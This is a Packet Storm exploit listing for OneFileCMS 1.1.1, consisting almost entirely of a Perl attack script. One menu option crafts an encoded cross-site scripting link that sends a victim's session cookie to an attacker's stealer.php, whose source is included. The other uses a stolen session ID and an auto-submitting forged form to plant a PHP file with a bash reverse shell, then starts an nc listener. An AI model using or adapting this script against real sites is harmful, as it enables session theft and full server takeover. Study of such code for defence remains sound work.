OneFileCMS 1.1.1 Code Execution

🗓️ 21 Aug 2011 00:00:00Reported by mr.pr0nType
packetstorm🔗 packetstormsecurity.com👁 22 Views
OneFileCMS 1.1.1 Remote Code Execution Exploit by mr.pr0
`#!/usr/bin/perl  
#  
# Exploit Title: OneFileCMS v.1.1.1 Remote Code Execution Exploit  
# Date: 22/8/2011  
# Author: mr.pr0n (@_pr0n_)  
# Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr  
# Software Link: http://onefilecms.com/download/onefilecms_site_v1.1.1.zip  
# Version: OneFileCMS v.1.1.1  
# Tested on: Linux Fedora 14  
  
use LWP::UserAgent;  
  
print "\n |==[ mr.pr0n ]=============================================== |\n";  
print " | OneFileCMS 1.1.1 - [R]emote [C]ode [E]xecution [E]xploit |\n";  
print " |===================[ http://ghostinthelab.wordpress.com/ ]== |\n";  
  
print "\nEnter the target (e.g.: http://victim.com)";  
print "\n> ";  
$target=<STDIN>;  
chomp($target);  
$target = "http://".$target if ($target !~ /^http:/);  
  
print "Enter the OneFileCMS directory (e.g.: onefilecms)";  
print "\n> ";  
$dir=<STDIN>;  
chomp($dir);  
  
$target = $target."/".$dir;  
  
menu:;  
print "\n[+] Main Menu:\n";  
print " 1. Steal the \"sessionid\" cookie.\n";  
print " 2. Get a shell on your target.\n";  
print " 3. Exit.\n" ;  
  
print "> ";  
$option=<STDIN>;  
if ($option!=1 && $option!=2 && $option!=3)  
{  
print "Oups, wrong option.\nPlease, try again.\n";  
goto menu;  
}  
  
if ($option==1)  
{&cookie}   
if ($option==2)  
{&shell}   
if ($option==3)  
{&quit}   
  
sub cookie  
{  
print "Enter the address of the \"stealer.php\" (e.g.: http://attacker.com/stealer.php)";  
print "\n> ";  
$stealer=<STDIN>;  
chomp($stealer);  
  
# -------------------------------------------------------------------------------------  
# stealer.php - source code  
# -------------------------------------------------------------------------------------  
# <?php  
# header ('Location:http://VICTIM_SERVER/onefilecms/onefilecms.php?f=index.php');  
# $cookie = $_GET['cookie'];  
# $log = fopen("gotit.txt", "a");  
# fwrite($log, $cookie ."\n");  
# fclose($log);  
# ?>  
# --------------------------------------------------------------------------------------  
  
$result = "'\"><script>document.location=\"$stealer?cookie=\"+document.cookie\;</script>";  
$result =~ s/(.)/sprintf("%x%",ord($1))/eg;  
  
print "\n[+] Send this link to your victim ...\n\n";  
print $target."/onefilecms.php?p=".$result."\n";  
goto menu;  
}  
  
sub shell  
{  
print "Enter the sessionid:";  
print "\n> ";  
$sessionid=<STDIN>;  
chomp($sessionid);  
  
print "Enter the IP address for the reverse connection (e.g.: 192.168.178.25)";  
print "\n> ";  
$ip=<STDIN>;  
chomp($ip);  
  
print "Enter the port to connect back on (e.g.: 4444)";  
print "\n> ";  
$port=<STDIN>;  
chomp($port);  
  
$payload =   
"<?php ".  
"system('/bin/bash -i > /dev/tcp/$ip/$port 0\<&1 2\>&1');".  
"?>";  
  
$filename = "index_".int(rand()*1011).".php";  
  
$csrf =  
"'\"><html><body onload='document.f.submit()'>".  
"<form method=post name=f action=\"$target/onefilecms.php\">".  
"<input type=\"hidden\" name=\"sessionid\" value=\"$sessionid\">".  
"<input type=\"hidden\" name=\"filename\" value=\"$filename\">".  
"<input name=\"content\" value=\"$payload\">".  
"<input type=\"submit\" name=\"Save\">".  
"</form></body></html>";  
  
$csrf =~ s/(.)/sprintf("%x%",ord($1))/eg;  
  
print "\n[+] Send this link to your victim...\n\n";  
print $target."/onefilecms.php?p=".$csrf."\n";  
  
$nc= "nc -lvp $port";  
system("xterm -e $nc &");  
  
print "\n[+] Please be patient...\n";  
while (1)  
{  
$int = LWP::UserAgent->new() or die;  
$check=$int->get($target."/".$filename);  
if ($check->content =~ m/was not found/g)  
{  
sleep(10);  
}  
}  
goto menu;  
}  
  
sub quit  
{  
exit(1);  
}   
`
21 Aug 2011 00:00Current